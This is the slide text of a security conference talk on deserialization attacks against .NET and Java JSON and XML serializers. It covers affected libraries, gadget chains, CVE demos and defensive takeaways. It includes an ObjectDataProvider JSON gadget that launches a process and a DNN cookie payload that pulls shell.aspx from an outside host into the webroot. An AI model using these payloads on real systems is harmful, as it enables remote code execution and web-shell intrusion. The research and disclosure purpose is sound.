Friday the 13th: JSON Attacks

Alvaro Muñoz (@pwntester)
Oleksandr Mirosh

HPE Security
> whoami

- Alvaro Muñoz
  - Security Research with HPE
  - Int3pids CTF player
  - @pwntester

- Oleksandr Mirosh
  - Security Research with HPE
2016 was the year of Java Deserialization apocalypse
• Known vector since 2011
• Previous lack of good RCE gadgets in common libraries
• Apache Commons-Collections Gadget caught many off-guard.
• Solution?
  • Stop using Java serialization
  • Use a secure JSON/XML serializer instead

Do not let history repeat itself
• Raise awareness for .NET deserialization vulnerabilities
• Is JSON/XML/<Put your favorite format here> any better?
1. Attacking JSON serializers
   • Affected Libraries
   • Gadgets
   • Demo
2. Attacking .NET serializers
   • Affected formatters
   • Gadgets
   • Demo
3. Generalizing the attack
   • Demo
Is JSON any better?
Introduction

• Probably secure when used to transmit data and simple JS objects
• Replacing Java/.NET serialization with JSON requires OOP support.
  • How do we serialize a `System.lang.Object` field?
  • How do we deal with generics?
  • How do we serialize interface fields?
  • How do we deal with polymorphism?
Quick recap of Java deser attacks

- Attackers can force the execution of any `readObject()` / `readResolve()` methods of any class sitting in the classpath.
- By controlling the deserialized field values attackers may abuse the logic of these methods to run arbitrary code.
- JSON libraries do not (normally) invoke deserialization callbacks or magic methods.

Can we initiate a gadget chain in some other way?
Sure we can

- JSON libraries need to reconstruct objects by either:
  - Calling `default constructor` and using `reflection` to set field values
    - Default constructor is parameterless so useless for attack purposes
    - Reflection does not invoke any object methods but deserializer may do
  - Calling `default constructor` and calling `setters` to set field values
    - Can we find setters that would allow us to run arbitrary code?
  - Calling “special” `constructors`, `type converters` or `callbacks`
    - Can be used to bridge into other formatters or as start-chain gadgets
  - Calling common methods such as:
    - `hashCode()`, `toString()`, `equals()`, `finalize()`, ...
  - Combinations of the previous ones 😊
• `System.Configuration.Install.AssemblyInstaller`  
  • `set_Path`  
  • Execute payload on local assembly load

• `System.Activities.Presentation.WorkflowDesigner`  
  • `set_PropertyInspectorFontAndColorData`  
  • Arbitrary XAML load  
  • Requires Single Threaded Apartment (STA) thread

• `System.Windows.ResourceDictionary`  
  • `set_Source`  
  • Arbitrary XAML load  
  • Required to be able to work with setters of types derived from `IDictionary`

• `System.Windows.Data.ObjectDataProvider`  
  • `set_(MethodName | ObjectInstance |ObjectType)`  
  • Arbitrary Method Invocation
ObjectDataProvider

```json
 "ObjectInstance":{
   "$type":"System.Diagnostics.Process, System"},
 "MethodParameters":{
   "$type":"System.Collections.ArrayList, mscorlib",
   "$values": ["calc"],
   "MethodName":"Start"
 }
}
```

- Non-default constructor with controlled parameters
  - ObjectType + ConstructorParameters
- Any public instance method of unmarshaled object without parameters
  - ObjectInstance + MethodName
- Any public static/instance method with controlled parameters
  - ObjectType + ConstructorParameters + MethodName + MethodParameters
ObjectDataProvider

```csharp
public string MethodName
{
    get { return _methodName; }
    set
    {
        _methodName = value;
        OnPropertyChanged(s_method);
        if (!IsRefreshDeferred)
            Refresh();
    }
}

public void Refresh()
{
    initialLoadCalled = true;
    BeginQuery();
}
```
protected override void BeginQuery()
{
    if (TraceData.IsExtendedTraceEnabled(this, TraceDataLevel.ProviderQuery))
    {
        TraceData.Trace(TraceEventType.Warning,
                        TraceData.BeginQuery(
                            TraceData.Identify(this),
                            IsAsynchronous ? "asynchronous" : "synchronous"));
    }
    if (IsAsynchronous)
    {
        ThreadPool.QueueUserWorkItem(new WaitCallback(QueryWorker), null);
    }
    else
    {
        QueryWorker(null);
    }
}
void QueryWorker(object obj)
{
    object data = null;
    Exception e = null;  // exception to pass back to main thread

    if (_mode == SourceMode.NoSource || _objectType == null)
    {
        if (TraceData.IsEnabled)
            TraceData.Trace(TraceEventType.Error, TraceData.ObjectDataProviderHasNoSource);
        e = new IOException(SR.Get(SRID.ObjectDataProviderHasNoSource));
    }
    ...

    if (string.IsNullOrEmpty(MethodName))
    {
        data = _objectInstance;
    }
    else
    {
        data = InvokeMethodOnInstance(out e);
    }
object InvokeMethodOnInstance(out Exception e) {
    object data = null;
    string error = null; // string that describes known error
    e = null;

    Debug.Assert(_objectType != null);

    object[] parameters = new object[_methodParameters.Count];
    _methodParameters.CopyTo(parameters, 0);

    // PreSharp uses message numbers that the C# compiler doesn't know about.
    // Disable the C# complaints, per the PreSharp documentation.
    #pragma warning disable 1634, 1691

    // PreSharp complains about catching NullReference (and other) exceptions.
    // It doesn't recognize that IsCritical[Application]Exception() handles these correctly.
    #pragma warning disable 56500

    try {
        data = _objectType.InvokeMember(MethodName,
                                      s_invokeMethodFlags, null, _objectInstance, parameters,
                                      System.Globalization.CultureInfo.InvariantCulture);
    }
}
• org.hibernate.jmx.StatisticsService
  • setSessionFactoryJNDIName
  • JNDI lookup
  • Presented during our JNDI attacks talk at BlackHat 2016
• com.atomikos.icatch.jta.RemoteClientUserTransaction
  • toString
  • JNDI lookup
• com.sun.rowset.JdbcRowSetImpl
  • setAutoCommit
  • JNDI lookup
  • Available in Java JRE
public void setAutoCommit(boolean autoCommit) throws SQLException {
    // The connection object should be there
    // in order to commit the connection handle on or off.
    if (conn != null) {
        conn.setAutoCommit(autoCommit);
    } else {
        // Coming here means the connection object is null.
        // So generate a connection handle internally, since
        // a JdbcRowSet is always connected to a db, it is fine
        // to get a handle to the connection.
        // Get hold of a connection handle
        // and change the autocommit as passed.
        conn = connect();
        // After setting the below the conn.setAutoCommit()
        // should return the same value.
        conn.setAutoCommit(autoCommit);
    }
}
protected Connection connect() throws SQLException {
    // Get a JDBC connection.
    // First check for Connection handle object as such if "this" initialized using conn.
    if (conn != null) {
        return conn;
    }

    else if (getDataSourceName() != null) {
        // Connect using JNDI.
        try {
            Context ctx = new InitialContext();
            DataSource ds = (DataSource)ctx.lookup
                (getDataSourceName());
        }
    }
Gadgets: non RCE

.NET

- System.Xml.XmlDocument/XmlDataDocument
  - set_InnerXml
  - XXE on .NET before 4.5.2
- System.Data.DataViewManager
  - set_DataViewSettingCollectionString
  - XXE on .NET before 4.5.2
  - set_DataMember
  - Arbitrary getter call which can be used to chain to other gadgets

Java

- org.antlr.stringtemplate.StringTemplate
  - toString
  - Arbitrary getter call which can be used to chain to other gadgets such as the infamous TemplatesImpl.getOutputProperties()
We analyzed different Java/.NET JSON libraries to determine whether these libraries could lead to arbitrary code execution upon deserialization of untrusted data in their default configuration or under special configurations.

Requirements

- Attacker can control type of reconstructed objects
  - Can specify Type
  - Library loads Type
- Library/GC will call methods on reconstructed objects
- There are gadget chains starting on method executed upon/after reconstruction
Different scenarios

• Format includes type discriminator
  1. Default
  2. Configuration setting

```json
{
    "FullName": "Steve Stockholder",
    "Businesses": {
        "$values": [
            {
                "Stars": 4,
                "Name": "Hudson Hotel"
            }
        ]
    }
}
```

• Type control
  1. Cast after deserialization

```csharp
(User) JSON.DeserializeObject(untrusted);
```

  2. Inspection of expected type

```csharp
JSON.DeserializeObject<User>(untrusted);
JSON.DeserializeObject(untrusted, typeof(User));
```
Different scenarios

- Inspection of expected type’s object graph to determine nested types
  - Check assignability from provided type and/or whitelist creation
- Vulnerable if
  - Expected type is user-controllable
  - Attacker can find injection member in object graph

```plaintext
IUser
  Name : String
  Items : Dict<String, Object>
  Message : Message
  Props : Hashtable

User
  Name : String
  Items : Dict<String, Object>
  Message : Message

Message
  Body : Object
  Exc : Exception

Exception
  Data : IDictionary
  Message : String
  Source : String
  StackTrace : String
  InnerException : Exception...

ValidationException
  ...
  Value : Object
```
<table>
<thead>
<tr>
<th>Name</th>
<th>Language</th>
<th>Type Discriminator</th>
<th>Type Control</th>
<th>Vector</th>
</tr>
</thead>
<tbody>
<tr>
<td>FastJSON</td>
<td>.NET</td>
<td>Default</td>
<td>Cast</td>
<td>Setter</td>
</tr>
<tr>
<td>Json.Net</td>
<td>.NET</td>
<td>Configuration</td>
<td>Expected Object Graph Inspection</td>
<td>Setter</td>
</tr>
<tr>
<td>FSPickler</td>
<td>.NET</td>
<td>Default</td>
<td>Expected Object Graph Inspection</td>
<td>Setter</td>
</tr>
<tr>
<td>Sweet.Jayson</td>
<td>.NET</td>
<td>Default</td>
<td>Cast</td>
<td>Setter</td>
</tr>
<tr>
<td>JavascriptSerializer</td>
<td>.NET</td>
<td>Configuration</td>
<td>Cast</td>
<td>Setter</td>
</tr>
<tr>
<td>DataContractJsonSerializer</td>
<td>.NET</td>
<td>Default</td>
<td>Expected Object Graph Inspection</td>
<td>Setter</td>
</tr>
<tr>
<td>Jackson</td>
<td>Java</td>
<td>Configuration</td>
<td>Expected Object Graph Inspection</td>
<td>Setter</td>
</tr>
<tr>
<td>Genson</td>
<td>Java</td>
<td>Configuration</td>
<td>Expected Object Graph Inspection</td>
<td>Setter</td>
</tr>
<tr>
<td>JSON-IO</td>
<td>Java</td>
<td>Default</td>
<td>Cast</td>
<td>toString</td>
</tr>
<tr>
<td>FlexSON</td>
<td>Java</td>
<td>Default</td>
<td>Cast</td>
<td>Setter</td>
</tr>
<tr>
<td>GSON</td>
<td>Java</td>
<td>Configuration</td>
<td>Expected Object Graph Inspection</td>
<td>-</td>
</tr>
</tbody>
</table>
FastJson

- Always includes Type discriminators
- There is no Type check controls other than a post-deserialization cast

```csharp
Var obj = (ExpectedType) JSON.ToObject(untrusted);
```

- Invokes
  - Setter
- Should never be used with untrusted data
- Example:
  - KalikoCMS
  - CVE-2017-10712
  • By default, it will not include type discriminator information which makes it a secure serializer.
    • Type Resolver can be configured to include this information.

```csharp
JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver());
string reqdInfo = apiService.authenticateRequest();
reqDetails det = (reqDetails)sr.Deserialize<reqDetails>(reqdInfo);
```

• Weak Type control: post-deserialization cast operation
• During deserialization, it will call:
  • Setters
• It can be used securely as long as a type resolver is not used or the type resolver is configured to whitelist valid types.
• **System.Runtime.Serialization.JsonDataContractJsonSerializer**
  • Performs a strict type graph inspection and prevent deserialization of certain types.
  • However, we found that if the attacker can control the expected type used to configure the deserializer, they will be able to gain code execution.

```csharp
var typename = cookie["typename"];  
...  
var serializer = new DataContractJsonSerializer(Type.GetType(typename));  
var obj = serializer.ReadObject(ms);
```

• Invokes:
  • Setters
  • Serialization Constructors

• Can be used securely as long as the expected type cannot be controlled by users.
• Secure by default unless `TypeNameHandling other than None` setting is used

• Even if `TypeNameHandling` is enabled, attackers still need to find entry point in object graph

```csharp
public class Message {
    [JsonProperty(TypeNameHandling = TypeNameHandling.All)]
    public object Body { get; set; }
}
```

• Invokes:
  • Setters
  • Serialization callbacks
  • Type Converters

• **Use `SerializationBinder` to whitelist Types if `TypeNameHandling` is required**
Demo 1: Breeze (CVE-2017-9424)

Rich data for JavaScript apps is a Breeze

Client Caching
Cache queried, new, and changed data on the client for a responsive UI.

Track Changes
Track changes, raise events, and validate using metadata and rules you write.

Rich queries
Query the server and client cache with filters, ordering, paging, and projections.

Mobile
Enable great mobile experiences that execute natively on any device.

Fixed in Breeze 1.6.5 onwards
protected virtual JsonSerializerSettings CreateJsonSerializerSettings() {

    var jsonSerializerSettings = new JsonSerializerSettings() {
        NullValueHandling = NullValueHandling.Include,
        PreserveReferencesHandling = PreserveReferencesHandling.Objects,
        ReferenceLoopHandling = ReferenceLoopHandling.Ignore,
        TypeNameHandling = TypeNameHandling.Objects,
        TypeNameAssemblyFormat = FormatterAssemblyStyle.Simple,
    };
}
protected void InitializeSaveState(JObject saveBundle)
{
    JsonSerializer = CreateJsonSerializer();

    var dynSaveBundle = (dynamic)saveBundle;
    var entitiesArray = (JArray)dynSaveBundle.entities;
    var dynSaveOptions = dynSaveBundle.saveOptions;

    SaveOptions = (SaveOptions)JsonSerializer.Deserialize(new JTokenReader(dynSaveOptions), typeof(SaveOptions));
    SaveWorkState = new SaveWorkState(this, entitiesArray);
}

public class SaveOptions {
    public bool AllowConcurrentSaves { get; set; }
    public Object Tag { get; set; }
}
• Java Unmarshaller Security
  • Author: Moritz Bechler
  • Parallel research published on May 22, after our research was accepted for BlackHat and abstract was published 😊.

• Focus exclusively on Java

• Overlaps with our research on:
  • Jackson and JSON-IO libraries
  • JdbcRowSetImpl.setAutoCommit gadget

• Include other interesting gadgets

• https://github.com/mbechler/marshalsec
.NET Formatters
Introduction

- Attacks on .NET formatters are not new
- James Forshaw already introduced them at BlackHat 2012 for
  - BinaryFormatter
  - NetDataContractSerializer
- Lack of RCE gadget until recently 😞

Goals:
- Raise awareness about perils of .NET deserialization
- Present new vulnerable formatters scenarios
- Present new gadgets
  - Need new gadgets that works with Formatters other than BinaryFormatter

@tirenddo

blackhat.com/us-17/briefing ... could be interesting. Hope I didn’t steal their thunder with any of my .NET gadgets :-(

2:39 AM - 30 Apr 2017
• Bridges to custom deserializer

```csharp
protected PSObject(SerializationInfo info, StreamingContext context)
{
    this.lockObject = new object();
    if (info == null)
    {
        throw PTraceSource.NewArgumentException("info");
    }
    string source = info.GetValue("CliXml", typeof(string)) as string;
    if (source == null)
    {
        throw PTraceSource.NewArgumentException("info");
    }
    PSObject obj2 = AsPSObject(PSSerializer.Deserialize(source));
    this.CommonInitialization(obj2, ImmediateBaseObject);
    CopyDeserializerFields(obj2, this);
}
```
private bool RehydrateCimInstanceProperty(CimInstance cimInstance, PSPROPERTYINFO deserializedProperty, HashSet<string> namesOfModi
{
    object baseObject = deserializedProperty.Value;
    if (baseObject != null)
    {
        PSObject obj3 = PSObject.AsPSObject(baseObject);
        if (obj3.BaseObject is ArrayList)
        {
            if (!LanguagePrimitives.TryConvertTo<Type>(valueToConvert, CultureInfo.InvariantCulture, out type))
            {
                return false;
            }
            if (!type.IsArray)
            {
                return false;
            }
        }
        if (!LanguagePrimitives.TryConvertTo(baseObject, type, CultureInfo.InvariantCulture, out obj4))
        {

```
LanguagePrimitives.FigureConversion() allows to:

- Call the constructor of any public Type with one argument (attacker controlled)
- Call any setters of public properties for the attacker controlled type
- Call the static public Parse(string) method of the attacker controlled type.

• **System.Runtime.Serialization.Formatters.Soap.SoapFormatter**
  • Serializes objects to and from SOAP XML format.
  • Similar to BinaryFormatter in a number of things;
    • They both implement `IFormatter` interface and serialize only `Serializable` annotated types.
    • Both use surrogates to handle custom serialization and binders to control the type loading.
    • Both will invoke similar methods upon deserialization which include:
      • `setters`, `Iseralizable` `constructor`, `OnDeserialized` annotated methods and `OnDeserialization` callback.

  • Covered in JSON section
• **System.Web.UI.ObjectStateFormatter**
  - Used by `LosFormatter` as a binary formatter for persisting the view state for Web Forms pages. It uses `BinaryFormatter` internally and therefore offers similar attack surface.
  - Uses `TypeConverters`

• **System.Messaging.XmlMessageFormatter**
  - It is the default formatter used by MSMQ. It uses `XmlSerializer` internally and therefore it is vulnerable to same attack patterns.

• **System.Messaging.BinaryMessageFormatter**
  - Used by MSMQ as a binary formatter for sending messages to queues. It uses `BinaryFormatter` internally and therefore offers similar attack surface.
• **System.Runtime.Serialization.DataContractSerializer**
  • It inspects the object graph of the expected type and limits the deserialization to only those types known at construction time (either in the object graph or supplied with `KnownTypes` list parameter).
  • Suitable to handle untrusted data unless any of the following scenarios apply:
    • Using a weak type resolver
    • Using user controlled expected type
  ```csharp
  Type objType = Type.GetType(message.Label.Split('|')[1], true, true);
  DataContractSerializer serializer = new DataContractSerializer(objType);
  serializer.ReadObject(message.BodyStream);
  ```
  • Will invoke multiple methods which can be used to initiate a RCE gadget chain such as setters and serialization constructors.

  • Covered in JSON section
  • Very similar to `DataContractSerializer`
  • No type resolvers can be used
• **System.Xml.Serialization.XmlSerializer**
  * Will inspect the expected type at construction time and create an ad-hoc serializer that will only know about those types appearing in the object graph.
  * Prevents deserialization of interface members.
  * Only vulnerable configuration for this deserializer is when attacker can control the expected type.

```csharp
var typename = cookie["typename"];  
...
var typeName = xmlItem.GetAttribute("type");
var xser = new XmlSerializer(Type.GetType(typeName));
```

• From an attacker perspective, overcoming the type limitation can be a problem, but we will show later that this can be done with some tricks.
Demo 2: NancyFX (CVE-2017-9785)

Install

PM> Install-Package Nancy

Write

```csharp
public class SampleModule : Nancy.NancyModule
{
    public SampleModule()
    {
        Get("/") = _ => "Hello World!";
    }
}

Go!
```

Fixed in version 1.4.4 / 2.0-dangermouse onwards
NCSRF Cookie

- CSRF cookie
- Latest stable version used a BinaryFormatter serialized cookie (1.x)
  - `AAEAAAD/////AQAAAAAAAAMAgAAAD1OYW5jeSwgVmVyc2lvbj0wLjEwLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsawWNLZXIBdXJpZ2h0cy5jb20uc2VjdXJpdml0aW9uLmNvbWluc3RhbmNlLmNvbSx0aW1lLXNldCB0ZXJhbml0aW9uIl0=

- Pre-released 2.x used a custom JSON parser to make it compatible with .NET Core first versions

```json
{"RandomBytes": [60, 142, 24, 76, 245, 9, 202, 183, 56, 252], "CreatedDate": "2017-04-03T10:42:16.7481461Z", "Hmac": [3, 17, 70, 188, 166, 30, 66, 0, 63, 186, 44, 213, 201, 164, 3, 19, 56, 139, 78, 159, 170, 193, 192, 183, 242, 187, 170, 221, 140, 46, 24, 197], "TypeObject": "Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null"}
```

- Pre-auth RCE in both versions
Generalizing the Attacks
Attacking all the deserializers

• When dealing with object unmarshaling, objects will need to be created and populated which normally mean calling setters or deserialization constructors.

• Requirements
  • Attacker can control type to be instantiated upon deserialization
  • Methods are called on the reconstructed objects
  • Gadget space is big enough to find types we can chain to get RCE

• We can use the presented gadgets to attack these formats
Examples

• FsPickler (xml/binary)
  • A fast, multi-format messaging serializer for .NET
  • Includes arbitrary Type discriminators
  • Invokes setters and ISerializable constructor and callbacks
  • Object Graph Inspection

• SharpSerializer
  • XML and binary serialization for .NET and Silverlight
  • Includes arbitrary Type discriminators
  • Invokes setters
  • No type control other than post-deserialization cast

• Wire/Hyperion
  • A high performance polymorphic serializer for the .NET framework used by Akka.NET
  • JSON.NET with TypeNameHandling = All or custom binary one
  • Includes Type discriminators and invokes setters and ISerializable constructor and callbacks
Beware of rolling your own format

- **NancyFX**
  - Custom JSON parser replacing BinaryFormatter (Pre-released 2.x) to make it compatible with .NET Core first versions

```
{"RandomBytes":[60,142,24,76,245,9,202,183,56,252],"CreatedDate":"2017-04-03T10:42:16.7481461Z","Hmac":[3,17,70,188,166,30,66,0,63,186,44,213,201,164,3,19,56,139,78,159,170,193,192,183,242,187,170,221,140,46,24,197],"TypeObject":"Nancy.Security.CsrfToken, Nancy, Version=2.0.0.0, Culture=neutral, PublicKeyToken=null"}
```

- **DotNetNuke CMS (DNN Platform)**
  - Wraps XmlSerializer around a custom XML format which includes the type to be used to create the XmlSerializer
  - This deserves a slide on its own 😊
Overcoming XmlSerializer constraints

- Types with interface members cannot be serialized
  - System.Windows.Data.ObjectDataProvider is XmlSerializer friendly 😊
  - System.Diagnostics.Process has Interface members 😊 ... use any other Type!
    - XamlReader.Load(String) -> RCE
    - ObjectStateFormatter.Deserialize(String) -> RCE

- Runtime Types needs to be known at serializer construction time
  - ObjectDataProvider contains an Object member (unknown runtime Type)
  - Use a parametrized Type to “teach” XmlSerializer about runtime types. Eg:

```csharp
    [PUT_RUNTIME_TYPE_1_HERE],[PUT_RUNTIME_TYPE_2_HERE]
], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
```

Fixed in DNN Platform 9.1.1 or EVOQ 9.1.1 onwards
if (userId > Null.NullInteger)
{
    var cacheKey = string.Format(DataCache.UserPersonalizationCacheKey, portalId, userId);
    profileData = CB0.GetCachedObject<string>(new CacheItemArgs(cacheKey, DataCache.UserPersonalizationCacheTimeOut, DataCache.UserPersonalizationCachePriority, portalId, userId), GetCachedUserPersonalizationCallback);
}
else
{
    // Anon User - so try and use cookie.
    HttpContext context = HttpContext.Current;
    if (context != null && context.Request.Cookies["DNNPersonalization"] != null)
    {
        profileData = context.Request.Cookies["DNNPersonalization"].Value;
    }
}

personalization.Profile = string.IsNullOrEmpty(profileData) ? new Hashtable() : Globals.DeserializeHashTableXml(profileData);
```csharp
var xmlDoc = new XmlDocument();
xmlDoc.LoadXml(xmlSource);

foreach (XmlElement xmlItem in xmlDoc.SelectNodes(rootname + "/*item"))
{
    string key = xmlItem.GetAttribute("key");
    string typeName = xmlItem.GetAttribute("type");

    //Create the XmlSerializer
    var xser = new XmlSerializer(Type.GetType(typeName));

    //A reader is needed to read the XML document.
    var reader = new XmlTextReader(new StreamReader(xmlItem.InnerXml));

    //Use the Deserialize method to restore the object's state, and store it
    //in the HasTable
    hashTable.Add(key, xser.Deserialize(reader));
```
<profile>
    <item key="85:AllCreditors" type="System.Boolean, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
        <boolean>false</boolean>
    </item>
</profile>
<profile>
    <ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
      <ExpandedElement/>
      <ProjectedProperty0>
        <MethodName>PullFile</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string">http://ctf.pwnester.com/shell.aspx</anyType>
          <anyType xsi:type="xsd:string">C:\inetpub\wwwroot\dotnetnuke\shell.aspx</anyType>
        </MethodParameters>
        <ObjectInstance xsi:type="FileSystemUtils"/>
      </ProjectedProperty0>
    </ExpandedWrapperOfFileSystemUtilsObjectDataProvider>
  </item>
</profile>
Wrap-Up
Main Takeaways

- Do not deserialize untrusted data!
- ... no, seriously, do not deserialize untrusted data!
- ... ok, if you really need to:
  - Make sure to evaluate the security of the chosen library
  - Avoid libraries without strict Type control
    - Type discriminators are necessary but not sufficient condition
  - Never use user-controlled data to define the deserializer expected Type
  - Do not roll your own format
Thank you!

Alvaro Muñoz (@pwntester) & Oleksandr Mirosh